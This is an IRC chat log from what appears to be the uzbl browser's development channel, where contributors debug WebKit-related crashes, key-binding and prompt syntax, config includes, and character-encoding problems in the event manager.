13:50 < mason-l> lich, As much of it as you can.
13:50 < Dieterbe> mason-l: you mean sprunge.us it
13:50 < axionix> nope
13:50 < lich> mason-l: gimme a sec
13:50 < mason-l> Dieterbe, Yeah something like that ;)
13:50 < Dieterbe> mason-l: sprunge.us kicks the ass of all pastebins out there :P
13:51 < lich> mason-l: http://pastie.org/681414
13:51 < lich> was a lot before that one, stuff related to binds etc
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13:53 < axionix> somethings screw up
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13:53 < mason-l> lich, Well that error is telling me that uzbl-core unexpectedly closed the connection to the EM.
13:53 < mason-l> Not a UTF-8 error.
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13:54 < lich> mason-l: ok....what is there to do then?
13:55 < axionix> http://pastebin.com/f2a1feac7
13:56 < mason-l> axionix, The answer is in your paste.
13:56 < axionix> i wasnt aware
13:57 < mason-l> lich, Can you pastebin more of the output, all if possible .
13:58 < mason-l> I'm looking for any errors from uzbl-core
13:58 < lich> can I just redirect the output ?
13:58 < mason-l> you should be able to start uzbl-core with no config and no EM.
13:58 < mason-l> lich, Can you start uzbl-core
13:58 < axionix> forget it...must go to work
13:58 < mason-l> axionix, It was the -b option.
13:59 < lich> uzbl-core blurts config stuff then segfaults
13:59 < mason-l> lich, Thats the problem.
13:59 < mason-l> You need to find out why that is happening, its not the EM's fault.
13:59 < mason-l> lich, Can you sprunge its death?
14:00 < Dieterbe> mason-l: ;)
14:01 < lich> http://omploader.org/vMm9zMA/errors.txt
14:02 < mason-l> lich, What version of webkit are you using?
14:02 < lich> 1.1.15.3-1
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14:03 < mason-l> Dieterbe, ^
14:03 < mason-l> How about that.
14:03 < mason-l> lich, That version has been known to cause segmentation faults in uzbl. Downgrade to 1.1.15.2
14:04 < lich> easier said than done...not going to downgrade for uzbl...gonna use it again when it starts working properly
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14:04 < lich> thanks for your time
14:06 < rob|> lich: see uzbl.org, latest news item UPDATE:...
14:06 < rob|> that should be enough, no need to downgrade
14:06 < lich> nvm, .10 was still in the cache, I may be able to downgrade afterall
14:06 < lich> thanks rob|
14:07 < rob|> .10 won't work as we make use of some stuff that's not available there
14:07 < lich> seems to work
14:07 < lich> I have an uzbl window with -core
14:07 < lich> nvm
14:07 < lich> crashed
14:07 < axionix> just recompile enchant
14:07 < axionix> back
14:07 < axionix> and that worked mason-l thanks
14:08 < axionix> i didnt know i had to crerate a repo to match what i checked out
14:08 < rob|> git voodoo..
14:09 < axionix> so where in the tree is the event manager
14:09 < axionix> ?
14:09 < mason-l> axionix, Just goes to show that not all notification messages are useless/meaningless.
14:09 < rob|> so i finally dumped vmware in favour of virtualbox-ose
14:09 < lich> hwo do I recompile enchant?
14:09 < rob|> which seems to work just great..
14:09 < Dieterbe> rob|: yeah vbox is great.. until it breaks
14:09 < mason-l> axionix, examples/data/uzbl/scripts/event_manager.py
14:09 < rob|> lich: on arch? use abs
14:10 < keis> is virtualbox the KVM based one?
14:10 < Dieterbe> no that's qemu
14:10 < Dieterbe> oh wait
14:10 < Dieterbe> i don't know, vbox might be based on it. not sure
14:11 < axionix> hmm i'm gonna have to try the wmii script and see what it does :)
14:11 < Dieterbe> not much. i wrote it :P
14:11 < axionix> haha
14:12 < xyz`> rob|: so is there a good reason to do this --connect-socket thing cause it breaks something of mine
14:14 < rob|> xyz`: yes! we don't dump cached events to the uzbl socket any more
14:16 < rob|> xyz`: so your EM will never get those bindings and setting if it doesn't explicitly request them
14:18 < mason-l> xyz`, And its an easy way to enable multiple client management (this will break things if you didn't design your em to handle it).
14:18 < mason-l> rob|, Has that patch made it in?
14:19 < rob|> which patch?
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14:19 < mason-l> rob|, The 'playback requests on re-connect' patch.
14:20 < rob|> oh, no it didn't
14:20 < mason-l> Is it not ready yet?
14:20 < rob|> there is on dump_config_as_events, which is not the same thing
14:20 < keis> turns out it's not enough to get things working again
14:20 < mason-l> keis, How so?
14:21 < keis> I think it might work if you dump all vars to
14:21 < keis> the most notable thing is that the default_mode is lost
14:21 < mason-l> but default mode should be a request shouldn't it?
14:22 < keis> hmm, I dunno. but it's not now anyway
14:22 < mason-l> Oh no it isn't
14:22 < keis> but maybe it would make sense to make all EM state configuration requests
14:22 < mason-l> keis, Yeah you should combine the request playback with the dump_config_as_events function.
14:23 < mason-l> keis, But how would you get rid of duplicates?
14:24 < keis> duplicates of default_mode? is that really going to happen?
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14:24 < mason-l> keis, What about duplicates of status_format :
14:24 < mason-l> :)
14:25 < axionix> are modcmd events in keycmd.py?
14:25 < mason-l> axionix, Yes but the actual execution of binds is done in bind.py
14:25 < axionix> aha ok
14:25 < keis> hmm, yes
14:27 < keis> but the status_format is not really changed either, right
14:27 < lich> so basically uzbl is useless now fo anyone with an up to date system? unless they recompile that thing manually?
14:29 < rob|> well, depends on how enchant is packaged in your distribution
14:29 < rob|> if it includes zemberek than this may be true
14:29 < rob|> *then
14:30 < keis> "echo app-text/enchant -zemberek >> /etc/portage/package.use" :D
14:30 < ertai> I would like to propose a binding to add the example conf
14:30 < ertai> @bind    O            = @set_keycmd o @uri
14:31 < ertai> where
14:31 < ertai> set set_keycmd     = request SET_KEYCMD
14:31 < rob|> yep, sounds reasonable
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14:31 < ertai> This indeed a Vimperator feature which can really help
14:32 < ertai> even more now that we can edit the uri
14:32 < axionix> you can?
14:33 < ertai> Yes in experimental
14:33 < axionix> how?
14:33 < keis> KEYCMD_BACKSPACE etc
14:33 < ertai> What is the meaning of <uri:> in @bind o<uri:>_ = uri %s
14:33 < ertai> axionix: have a look to the default conf
14:33 < mason-l> ertai, We are merging in a different solution for that.
14:34 < ertai> mason-l: for what editing?
14:34 < mason-l> ertai, For @bind    O            = @set_keycmd o @uri
14:35 < ertai> mason-l: What are the reasons?
14:35 < rob|> axionix: Left/Right keys, ^w, ^a, ^e
14:35 < mason-l> ertai, Because that wont work with the current o bind.
14:35 < axionix> oh i thought you meant an existing uri
14:36 < axionix> not one you are typing
14:36 < mason-l> axionix, And <Home>, <End>, <Delete>, <BackSpace>
14:36 < axionix> i knew about that
14:37 < ertai> the purpose of 'O' is to reduce to 'o <current-uri>' and the you can edit the current uri
14:37 < axionix> ahh i am slow today
14:37 < axionix> sounds nice
14:38 < ertai> Same thing can be done for 't'
14:38 < mason-l> ertai, I know what it should do, but it won't work if the o bind is multi-stage.
14:39 < mason-l> ertai, Instead I am pulling in keis' patch to allow us to set default values for stage bindings.
14:39 < ertai> actually it seems to work fine
14:40 < mason-l> ertai, It shouldn't with the default config.
14:40 < axionix> mason-l: the bind code is a beast i'llleave to you, i have no clue where to look to fix that bug i found
14:40 < rob|> and indeed it doesn't
14:40 < mason-l> axionix, Its on my todo list.
14:41 < ertai> mason-l: because of the <uri:> ?
14:41 < mason-l> ertai, Yes.
14:41 < ertai> mason-l: which branch of keis, experimental?
14:41 < keis> the prompt branch :)
14:43 < ertai> keis: thanks
14:44 < ertai> I've to switched to this (<uri:>) for my 'o' binding, and while I see no "uri:" prompt, the command does work
14:45 < keis> yes, your O binding will work if you have a nonstack binding
14:45 < ertai> is there some doc or explanation somewhere about stack bindings ?
14:46 < keis> I don't think so
14:47 < hickop> is there a way to make javascript working when it opens in a new window ?
14:47 < ertai> keis: is there some bindings that really use its power in the default config?
14:48 < axionix> the tags binding
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14:48 < keis> I think there is some emacs-style bindings
14:48 < mason-l> ertai, Theres a few in the example config.
14:48 < keis> you can also do gnu screen-style
14:48 < mason-l> Its still not perfect but its close :)
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14:50 < ertai> OK, what is the purpose of <:> in <Ctrl>a<:><Ctrl>q
14:50 < keis> it's a empty prompt
14:53 < ertai> great, what for since the action is just 'exit' (without %s)
14:54 < axionix> its required afaik for stacked binds to separate them
14:54 < keis> ah no, it does not read a variable.
14:54 < mason-l> ertai, Its an example...
14:57 < keis> but the emacs style does not make much sense now, as a global <ctrl>q would also be executed
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14:58 < mason-l> ertai, You could easily have that: @bind <Up><:><Up><:><Down><:><Down><:><Left><:><Right><:><Left><:><Right><:>BA = event KONAMI
14:58 < keis> :D
14:59 < mason-l> (If you unbind <Left> and <Right>)
14:59 < ertai> :)
14:59 < mason-l> keis, I never said <Ctrl>a<:><Ctrl>q was practical, its just an example.
15:00 < ertai> The point is that "@bind <Up><Down> = ..." means something different, that you have to hold both keys
15:00 < keis> but before the keycmd/bind changes it would have worked, right
15:01 < ertai> And I also deduce that "a<:>b" is useless since nothing more than "ab"
15:01 < mason-l> ertai, Correct!
15:03 < axionix> lol on the konami code
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15:05 < ertai> The goal is to write "@bind O<uri:"\@uri">_ = uri %s"
15:06 < mason-l> Yeah, though I'm improving on keis' work making those "'s useless.
15:06 < keis> mason-l: I added them to be able to use :
15:07 < mason-l> So that: <uri:\@uri>, <uri:'\@uri'> and <uri:"\@uri"> work.
15:08 < ertai> mason-l: Why not "@bind O = @set_keycmd o<uri:>@uri" or "@bind O = @set_keycmd o<uri:@uri>"
15:08 < mason-l> ertai, Impractical.
15:08 < mason-l> There may be more than one bind with the same prompt.
15:09 < mason-l> And starting 'o'
15:09 < ertai> mason-l: OK
15:11 < mason-l> ertai, The only other option would be to 'playback' the KEYCMD_SET
15:11 < mason-l> so that it looks like each character was pushed individually.
15:12 < mason-l> Instead of one big dump.
15:12 < ertai> yep I thought of that
15:12 < axionix> what does this do: menu_link_add Print Link = print \@SELECTED_URI
15:13 < rob|> nothing useful, just an example
15:13 < mason-l> axionix, It adds a context menu item called "Print Link" which prints the selected uri
15:13 < axionix> well i have no such context menu item
15:13 < mason-l> Only when you are right clicking on a link.
15:13 < axionix> oh
15:13 < mason-l> :)
15:13 < mason-l> Use normal menu_add to add normal menu items.
15:17 < rob|> axionix: as described in the README you can add menu items to the different context menus. (i.e. right clicking a link, image, editable form)
15:17 < mason-l> keis, I've upgraded the prompt finding re: '<([^:>]*):(\"[^\"]*\"|\'[^\']*\'|[^>]*|)>'
15:17 < rob|> or just the document root/background
15:17 < axionix> ok cool
15:17 < mason-l> keis, Actually that last pipe is redundant.
15:17 < keis> aah, my eyes hurt :P
15:19  * Dieterbe throws a bucket of water into keis' face
15:19 < keis> thx :P
15:19 < Dieterbe> and indeed. that string should be forbidden by law :P
15:20 < mason-l> Wheres the re love.
15:20 < keis> mason-l: without it wont match <uri:> anymore
15:21 < keis> ah, nvm
15:21 < mason-l> keis, Incorrect, [^>]* will catch null also.
15:21 < mason-l> :)
15:21 < keis> yeah, missed that one
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15:25 < lich> ok -experimental (with webkit .10) crashes on any click. symbol lookup error, undefined symbol: webkit_web_view_get_hit_test_result
15:26 < rob|> i told you ;)
15:26 < lich> yeh
15:26 < lich> I don't have abs installed, any wasier way to fix this? don't wanna be behind with uzbl
15:27 < mason-l> lich, It was the konami code wasn't it? :)
15:27 < lich> the what?
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15:27 < rob|> lich: http://omploader.org/vMmxzZQ
15:28 < rob|> lich: grab that and pacman -U it
15:28 < lich> cheers
15:28 < keis> I think the konami code should be added as an example, good a test for the em if nothing else :)
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15:29 < rob|> yeah and don't add any comments to it. i bet people will flood the channel and ask what the heck that is ;)
15:30 < Dieterbe> i think konamawhat?
15:30 < Dieterbe> minus 'i think'
15:30 < mason-l> http://en.wikipedia.org/wiki/Konami_Code
15:30 < keis> aka kontra code
15:30 < rob|> or bind it to some funny inject_html string..
15:30 < Dieterbe> oh that's cool
15:31 < Dieterbe> or what about an easter egg? hardcode that binding in the plugin
15:31 < lich> well, it starts :)
15:31 < lich> now to read up on the new stuff
15:32 < mason-l> Dieterbe, I was thinking exactly the same.
15:32 < keis> the problem is that is clashes with other <Up> bindings
15:32 < mason-l> Dieterbe, And I'm going to improve the bind plugin to allow it to work without clashing with existing 'global' binds.
15:33 < mason-l> keis, I think the problem can be solved purely by putting in a bind 'pecking-order'.
15:34 < keis> hmm
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15:36 < xyz`> seems if I pass -s and --connect-socket it doesnt pass fifo/socket args to spawned commands
15:36 < hickop> how can i use my numpad in command mode ? i did this : @bind <KP_0> = event KEYCMD_0 without success
15:37 < mason-l> hickop, Is that the actual keyname though?
15:37 < mason-l> Is that what turns up in the status bar when you press the numpad button?
15:37 < hickop> yes
15:38 < hickop> i think KEYCMD_0 is the bad thing
15:38 < mason-l> hickop, What are you trying to make KEYCMD_0 do?
15:38 < hickop> write 0
15:38 < mason-l> OH
15:39 < mason-l> hickop, use @modmap KP_0 0
15:39 < mason-l> It turns <KP_0> into 0
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15:39 < mason-l> Unfortunately you need to do that for every key.
15:39 < hickop> thx
15:42 < lich> hehe smart insert
15:42 < lich> (finally!)
15:42 < rob|> will look into writing that 'include' command tonight
15:43 < Dieterbe> uh oh
15:43 < mason-l> rob|, Awesome rob|
15:43 < Dieterbe> do we need that?
15:43 < rob|> yeah, it will be pretty nice for modmaps and certainly other stuff too
15:44 < Dieterbe> okay. i guess it only takes a few lines of code
15:44 < rob|> include @config_dir/kpmap
15:44 < mason-l> rob|, Also allow it to use the 'dir1:dir2:file' format ;)
15:44 < rob|> yeah, sure
15:44 < mason-l> Yeah :)
15:47 < lich> looks lovely once I set it up, while play around tonight
15:47 < lich> how stable is -experimental?
15:47 < lich> will*
15:47 < mason-l> lich, We are working on a boatload of crash recovery.
15:47 < mason-l> But we haven't experienced any crashing so far.
15:47 < lich> dang
15:48 < lich> so I can overwrite my old one?
15:48 < lich> and start using this?
15:48 < axionix> no crashes here...works better than master
15:48 < lich> all I want is for the configs to..not change while you're deving
15:48 < lich> I put quite a lot of work into colors and whatnot :)
15:48 < lich> so config is final, only crashes need work?
15:48 < mason-l> lich, We are almost stable as far as the config goes.
15:49 < lich> that's great
15:49 < lich> will switch to this
15:49 < lich> need to remember to get that webkit home with me..any news of when this will stop happening?
15:49 < mason-l> keis, Can you test my changes, I'm pushing now.
15:49 < lich> the webkit crash?
15:49 < keis> mason-l: sure
15:50 < Dieterbe> mason-l> lich, We are almost stable as far as the config goes. <-- i wouldn't say that :)
15:50 < Dieterbe> config format can change any time \o/
15:50 < lich> oh well
15:50 < mason-l> Dieterbe, I did mean to say that only applied until the next release.
15:52 < lich> wee any of the scripts worked on? especially the history and bookmark ones?
15:52 < lich> last time I tried them I couldn't bookmark
15:52 < axionix> theres a lot of taslk about uzbl vs surf on google wave. seems suckless sucks more in comparison
15:53 < axionix> :)
15:53 < lich> vs? surf sucks lol
15:53 < lich> (they have the same webkit probs btw...)
15:53 < lich> crashed on 1.15
15:53 < Dieterbe> axionix: are there like public archives of those discussions?
15:53 < axionix> dieterbe: no
15:54 < Dieterbe> that's stupid.  i didn't want to use wave but now i have to
15:54 < keis> so, e-mail is still the winrar
15:54 < axionix> wave is nothing special
15:55 < Dieterbe> axionix: so if you have an invite, hit me
15:55 < axionix> i'm still waiting for invites...i'll let ya know
15:58 < keis> mason-l: works good here :)
15:58 < mason-l> keis, Nice :)
15:58 < axionix> suckless is so anal its rediculous. did you guys see this? http://sta.li
15:59 < Dieterbe> actually i think that looks pretty cool
16:00 < mason-l> Dieterbe or rob|: keis' patch has been pulled and is good to go.
16:01 < mason-l> brb food.
16:01 < Dieterbe> mason-l: push it ;)
16:07 < lich> seems to work ok here, no crashes so far..
16:09 < mason-l> Dieterbe, I did.
16:10 < mason-l> Dieterbe, Pushed it 15 minutes ago.
16:10 < Dieterbe> good, good
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16:16 < lich> well, adding bookmarks still doesn't work
16:16 < lich> I may have to play with that script
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16:20 < rob|> ok, pushed the include command
16:21 < mason-l> rob|, So soon?
16:21 < rob|> syntax: include <file>   where file can be a foo:bar:baz thing
16:22 < rob|> yeah. so can i pull from you mason?
16:22 < mason-l> rob|, And can we get some "INCLUDING <path/to/file>" "INCLUDED <path/to/file>" or similar events?
16:22 < mason-l> rob|, Yeah.
16:23 < rob|> ok
16:23 < rob|> ah, the events. sure, just need to add them
16:23 < rob|> oh, do we really need both? isn'nt INCLUDED enough?
16:24 < rob|> also why would we need them at all? anything specific?
16:24 < mason-l> Well if theres an error in a config then from the output we can see which file it tried to load before it failed.
16:25 < rob|> hmm, ok
16:28 < Dieterbe> whoa whoa
16:28 < lich> rob|: nice thing that custom error page, but you have a misshap in logic there. if the error comes up because your internet is down, how is it going to download the uzbl logo from the site? :)
16:29 < Dieterbe> you already get an event for each single statement. so if a statement gives problem you see the statement.  and if you know the statement you know the file.  that said, we already have so many events that a few more or less wont hurt i guess.  btw does each command currently have an event, or are there commands without events? rob| mason-l 
16:29 < rob|> ok, done
16:30 < rob|> yeah, at least you will get a COMMAND_EXECUTED event for include
16:30 < mason-l> Some commands don't have events but the effect raises an event (i.e. the stop command).
16:31 < rob|> i added FILE_INCLUDED nonetheless, it it proves to be superfluous we can still remove it
16:31 < rob|> *if
16:31 < rob|> lich: yeah, that's true. i just wanted to have some nice images in there ;)
16:32 < lich> doesn't uzbl come with an example logo too?
16:32 < lich> could use file:/// with that I guess
16:32 < mason-l> rob|, That will do :)
16:33 < rob|> mason-l: so, i'll wait for you to test that and maybe make changes to the example config before pulling from you, ok?
16:33 < lich> yep, /usr/share/uzbl/examples/data/uzbl/uzbl.png
16:33 < lich> btw, you guys may want to add a bigger one for these types of things..liek a 48x48 one..not just the icon size one
16:34 < mason-l> rob|, Well I need sleep at the moment but I can split up the example config tomorrow if you like?
16:34 < rob|> sure, no hurry
16:34 < mason-l> Also the changes in my branch are ready to be pulled.
16:35 < rob|> locally i moved the bindings into a include file, works well and the config looks less messy :)
16:35 < mason-l> Nice.
16:35 < Dieterbe> mason-l: we can take care of the config splitting and/or whatever. you just unbreak uzbl_tabbed :P
16:35 < rob|> Dieterbe: will you be able to do some merging tonight?
16:36 < mason-l> Dieterbe, Ok :)
16:36 < Dieterbe> maybe.  not sure yet whether i'll be home this evening
16:36 < mason-l> I don't know how people survived in pre-git days.
16:37 < Dieterbe> it was ugly :)
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16:37 < mason-l> I don't know how I survived it.
16:39 < rob|> hmm, thins seem to work nicely so i guess it's safe to push to you dieter
16:40 < rob|> including mason's and keis' work
16:41 < rob|> done.
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17:03 < github> uzbl: Rob experimental SHA1-d4b543b
17:03 < github> initialize var
17:03 < github> http://bit.ly/xrjld
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17:04 < axionix> i just realized some js doesnt work in experimental for me
17:04 < axionix> like google auto search completion
17:04 < Dieterbe> uh oh
17:06 < axionix> yeah, i think i'm gonna back up my config and go back to master
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17:07 < Dieterbe> or, help us find/fix the problem
17:07 < axionix> i dont know shit about js
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17:13 < rob-> so this is how my main config looks like now: http://pastebin.ca/1654966
17:13 < rob-> definitly better than stuffing everything into one file
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17:30 < Dieterbe> oh look ^^
17:30 < Dieterbe> a debian guy
17:30 < keis> wow, exotic :)
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17:56 < axionix> well i tried to figure the js not working out. happens with default config or anything i try
18:01 < rob|> what js is that?
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18:02 < axionix> rob|: google auto complete doesnt work among other autocompleting js
18:02 < axionix> it did with the master branch, not exp.
18:03 < rob|> hmm, odd.
18:04 < rob|> not really sure what might cause that
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18:04 < axionix> yeah me neither but i miss that enough to go back to master
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18:10 < rob|> you're right it works with master so it's a exp.l thing
18:10 < axionix> yes
18:11 < rob|> hmm
18:11 < hickop> http://w3schools.com/ : can anyone make the search tool (upper right) to work with uzbl ?
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18:14 < axionix> nope, probably another js script blocked
18:15 < axionix> i noticed a lot more sites not working with experimental
18:16 < rob|> axionix: i guess i fixed it
18:17 < axionix> oh?
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18:18 < github> uzbl: Rob experimental SHA1-724086a
18:18 < github> fix broken js autocomplete
18:18 < github> http://bit.ly/1RG9Xw
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18:18 < rob|> yeah, you can pull from dieter it's fixed
18:18 < axionix> rob|: that was fast :)
18:22 < rob|> so, good you guys finally made the switch to experimental othewise such bugs would remain undiscovered for a long time
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18:23 < rob|> i don't use such search fields but have bindings for them, so i didn't realize that
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18:24 < axionix> :)
18:25 < rob|> hickop: that search fields tries to open a new window from JS, we had issues with that in the past too
18:26 < axionix> fix works :)
18:26 < rob|> great
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18:36 < hickop> rob|: http://www.javascripter.net/faq/openinga.htm this confirm the problem :)
18:37 < keis> lets call it a popup-blocker :P
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18:38 < hickop> ho right
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20:53 < ertai> Guys, Could the scroll patches be merged in?
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20:57 < keis> what scroll patches?
21:01 < Dieterbe> i will reconsider them
21:01 < Dieterbe> keis: see mailinglist
21:02 < Dieterbe> but i get way to little input
21:02 < Dieterbe> i ask peoples opinion and i think i didn't even get a single reply
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21:09 < keis> ah, found them :)
21:13 < ertai> Dieterbe: rob| did, but the mail has not been targeted to the list, I've fwd it to you
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21:14 < Dieterbe> oh you are nicolas? hi ! :)
21:14 < keis> I wonder how usefull the direction argument is. I don't see the number of directions changing any time soon
21:17 < ertai> Dieterbe: yes (I should change my login, this cause too much distraction)
21:18 < ertai> keis: what do you propose keeping two commands
21:18 < ertai> ?
21:18 < ertai> keis: one point was to clean things up, and have only one command.
21:18 < keis> yes, mainly to avoid breaking the config (even more)
21:19 < ertai> I think more arguments could be added afterwards
21:20 < ertai> like scroll up left / scroll down right
21:21 < keis> "scroll up left" would do what?
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21:25 < ertai> "scroll top up left" if you prefer
21:25 < keis> another thing, wouldn't it make more sense to have begin/end check in "void scroll (bar, argv)"
21:26 < keis> to scroll to the top-left corner?
21:27 < ertai> keis: yes (I know this is no more than chaining two commands)
21:28 < ertai> keis: it would make sense (about "void scroll (bar, argv)")
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21:31 < keis> come to think of it can imagine some other fancy scroll commands, seeking to a element or something like that
21:31 < keis> so the one scroll command to rule them all might be a good thing :)
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21:32 < ertai> good
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21:40 < keis> works nice, but the <left> and <right> example bindings clashes with the default ones
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21:42 < keis> Dieterbe: for what it's worth they have a +1 from me :)
21:46 < ertai> keis: yes that clash needs to be sorted out
21:46 < ertai> but this not due to the scrolling
21:48 < keis> ideally it would be possible to have <Left> scroll when no keycmd is entered and when there is move the keycmd cursor
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21:59 < singpolyma> Does Uzbl (probably through the webkit fetcher) support auto-detection of HTTP proxies?
22:03 < keis> I see no mention of proxy auto-detection in the libsoup documentation, so I guess not
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22:04 < singpolyma> Hmm, ok
22:06 < keis> you could write a script for it wrapping nmap or something I guess
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22:07 < singpolyma> A "try direct if proxy not found option" might be just as good for what I want to do
22:11 < keis> you could try attaching something to the LOAD_ERROR event
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00:29 < JasonWoof> wtf?
00:29 < JasonWoof> I sent text/plain and it's showing text/html
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00:59 < Dr-Horrible> since i switched to experimental my script doesnt work
01:00 < Dr-Horrible> @bind o<uri:>_ = script .local/share/uzbl/scripts/keywordBm.py open %s
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01:02 < Dr-Horrible> s/script/spawn/g
01:02 < Dr-Horrible> fixd:D
01:02 < rob|> heh
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01:06 < Dr-Horrible> t seems to be bound to toggleing the status bar, but I cant find it anywhere in the config
01:08 < Dr-Horrible> found it, maybe I shouldnt be doing this at 1 am
01:09 < rob|> btw, you can split up your config now into multiple files
01:10 < rob|> and use "include /path/to/file" in the config
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01:10 < rob|>  http://pastebin.ca/1654966
01:11 < Dr-Horrible> nice
01:13 < Dr-Horrible> also, thanks for the scripts_dir thing, _0_
01:14 < celeron55> i'm having a problem with one site with uzbl: it forces the browser to open a link in a new window, but the page it opens doesn't work if the referrer is not set, and uzbl doesn't seem to set it when opening to a new window
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01:17 < MichaelRaskin> Quick temporary solution: use a linkfollower to open the link in the same window.
01:17 < MichaelRaskin> Any of the keyboard-link-selection scripts should do.
01:17 < rob|> hmm, as we open a new instance we have now way to set the referrer
01:17 < rob|> (yet)
01:17 < MichaelRaskin> Need one more command-line parameter?
01:18 < rob|> probably
01:18 < rob|> but that's a good finding celeron55
01:19 < celeron55> :-)
01:20 < MichaelRaskin> The real problems are caused by sites that use window.open and then hope to manipulate the new window via JavaScript from the original window
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01:23 < rob|> true
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01:37 < celeron55> seems to work fine with the example keyboard link following stuff
01:38 < celeron55> and doesn't work with "set new_window = sh 'echo uri "$8" > $4' and clicking
01:41 < celeron55> the site is alldatasheet.com, if you want to test it (try searching for "lm324" and then clicking at the view column and then clicking at the big image, and it should open a page which would open the pdf in a frame)
01:44 < celeron55> sucks but that site happens to have the widest selection of datasheets... :P
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03:00 < drdo> Hello
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03:01 < drdo> Sorry, but, how is the experimental version supposed to be used?
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03:01 < drdo> I'm new to uzbl
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05:32 < Hyperion2010> drdo, the doccumentation hasnt been written for that yet, so its sort of hard to... use it
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06:02 < axionix> drdo, hyperion2010: /usr/share/uzbl/docs/README
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07:40 < xyz`> it seems if I use -s and --connect-socket it doesnt send a fifo/socket to spawned scripts
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10:11 < rob|> morning.
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10:35 < lich> odd enough -experimental worked a home too, with .15
10:35 < lich> but .15.2, not 3..
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10:47 < rob|> so?
10:48 < lich> so nothing, it's a problem with th eminor version of .15
10:48 < lich> so no need for .10, just .15.2 :D
10:49 < rob|> yeah, sure. known issue
10:50 < lich> thoght I double check.
10:53 < rob|> right
10:53 < rob|> i've spent a couple of hours tracking that down to enchant..
10:58 < lich> hope they fix it soon
10:58 < rob|> Dieterbe: will you take care of the config spliting?
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10:58 < Dieterbe> hah. freenode has a hilight on the word 'split' ;)
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10:59 < rob|> hehe
10:59 < Dieterbe> sure i could do it
10:59 < rob|> ok, nice
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11:31 < github> uzbl: Rob experimental SHA1-09ca025
11:31 < github> remove obsolete code
11:31 < github> http://bit.ly/48LwZi
11:31 < github> uzbl: Rob experimental SHA1-41ca93c
11:31 < github> remove obsolete tests
11:31 < github> http://bit.ly/2wGPOe
11:31 < github> uzbl: Rob experimental SHA1-181e849
11:31 < github> fix KEY_* char range
11:31 < github> http://bit.ly/meWok
11:31 < github> uzbl: Rob experimental SHA1-c1fe4e4
11:31 < github> init. array
11:32 < github> http://bit.ly/2MrWAp
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11:33 < Dieterbe> argh freenode stop it kthxbye
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11:35 < Dieterbe> hideliho masono
11:35 < mason-l> Dieterbe, Hey buddy.
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11:38 < rob|> hmm, i wonder why characters like 'äöü' are causing havoc with the EM while socat can print them just fine
11:39 < mason-l> rob|, Got any traceback?
11:39 < MichaelRaskin> EM is in python, and probably set to wrong encoding
11:39 < mason-l> MichaelRaskin, UTF-8
11:40 < MichaelRaskin> In Python you need to watch for it not to apply ascii-7 in random places
11:40 < rob|> well, it seems like the EM doesn't realize the line break when such chars are sent
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11:40 < mason-l> rob|, In my experience its been the uzbl-core crashing whilst sending the 'äöü' characters causing it not to finish and print the line-break.
11:40 < rob|> i.e. on 'ö' bothing will happen but if you hit another (valid) char, you'll get the whole "EVENT... " line in keycmd
11:41 < rob|> *nothing
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11:41 < mason-l> rob|, Replicate it in 'make test-dev-browser' and you should see some uzbl-core errors.
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11:43 < rob|> i'm not sure that's it. http://pastebin.com/m391cdf7a
11:43 < rob|> i mean socat does prints those chars just fine
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11:48 < mason-l> rob|, When doing echo "event SET_KEYCMD asdasdäöü" >> uzbl_fifo_62914563 it works http://pastebin.com/m5420c430
11:48 < rob|> with socat i get this:  http://omploader.org/vMm96bw
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11:49 < mason-l> rob|, Does that work for you?
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11:51 < rob|> yeah, that works
11:53 < mason-l> rob|, I see you've committed something to do with 'fix KEY_* char range'
11:53 < mason-l> Have you accidentally broken your KEY_PRESS in your branch?
11:53 < rob|> yeah, just extended the 1:1 mapping range
11:53 < rob|> i don't think so
11:54 < mason-l> Well I don't know how to press funny characters so I'm having a hard time testing the KEY_PRESS on my end.
11:54 < mason-l> Didn't someone commit a status bar middle-click-paste or something?
11:56 < mason-l> rob|, Try a: echo "event KEY_PRESS ü" >> /tmp/uzbl_fifo_62914563
11:56 < mason-l> Works for me.
11:56 < mason-l> (At my current head).
11:57 < rob|> for me, too
11:57 < mason-l> rob|, :P
11:57 < rob|> odd ;)
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12:04 < rob|> hmm, what the heck is going on there
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12:15 < rob|> man, strange! i just checked with some debugging printfs and everything seems to be just ok. i.e. working chars and non-working ones have the exact same strlen and the event string is also the same length
12:22 < rob|> also, do '²³°' work for you?
12:23 < rob|> €µ
12:24 < mason-l> All work in my branch.
12:24 < mason-l> Flawlessly.
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12:24 < mason-l> (Echoing the KEY_PRESS event to uzbl's fifo)
12:24 < rob|> yeah, that ways it works here too
12:25 < rob|> just not when actually pressing that key
12:25 < mason-l> I don't know how to press those keys on my HHKBP2
12:34 < hickop> rob|: éèà磤µù§²° those do not work for me
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12:34 < mason-l> hickop, Did you just update?
12:36 < hickop> mason-l: with latest experimental yes
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12:38 < mason-l> hickop, Can you try the same thing at my head and see if its something new that is causing the problem? git://github.com/mason-larobina/uzbl.git
12:39 < mason-l> (Because I haven't pulled in the latest changes yet)
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12:45 < rob|> also this clipboard/primary issue is a strange one
12:46 < rob|> i.e.:  @bind foo = event SET_KEYCMD \@(xclip -o)\@
12:46 < rob|> works perfectly as long as you don't select something from the webview
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12:57 < mason-l> rob|, Have you tried my branch to see if those characters work for you?
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13:04 < rob|> no, i haven't yet
13:05 < rob|> but i could workaround the paste problem
13:05 < lich> is there any plan on making paste (middle click maybe) available in the cmd prompt?
13:05 < rob|> @bind <Ctrl>p = sh 'echo "event SET_KEYCMD $(xclip -o)" > "$4"'
13:06 < lich> that for me?
13:06 < rob|> well, ni
13:06 < rob|> *no
13:06 < celeron55> lich: isn't insert and shift+insert enough?
13:06 < rob|> that will paste promary on C-p
13:07 < lich> didn't know they work...thought I ask
13:07 < rob|> mason-l: do we have a way to append to keycmd, yet?
13:07 < mason-l> rob|, I'll add two: INJECT_KEYCMD & APPEND_KEYCMD
13:08 < mason-l> Append appends to the end, inject injects the string at the cursor position.
13:08 < rob|> ah, let's see
13:08 < Dr1Horrible> in what variable is the current page title stored in? I can't seem to find it...
13:08 < mason-l> Dr1Horrible, @TITLE
13:09 < celeron55> hmm, how many active delopers does uzbl have?
13:09 < mason-l> rob|, Title updates would be nice.
13:09 < celeron55> developers*
13:09 < mason-l> rob|, I.e. event TITLE <new title>
13:09 < mason-l> Not for setting, displaying.
13:10 < hickop> mason-l: chars wont work either with your head
13:11 < rob|> mason-l: we have that, TITLE_CHANGED
13:12 < rob|> anyway, are those APPEND/INJECT events new? don't seem to exist in my branch (which i merged with yours yesterday)
13:12 < mason-l> rob|, Yeah I said I was going to add them now ;
13:12 < mason-l> ;)
13:12 < rob|> ah, sry
13:13 < mason-l> rob|, And I didn't notice TITLE_CHANGED, my mistake.
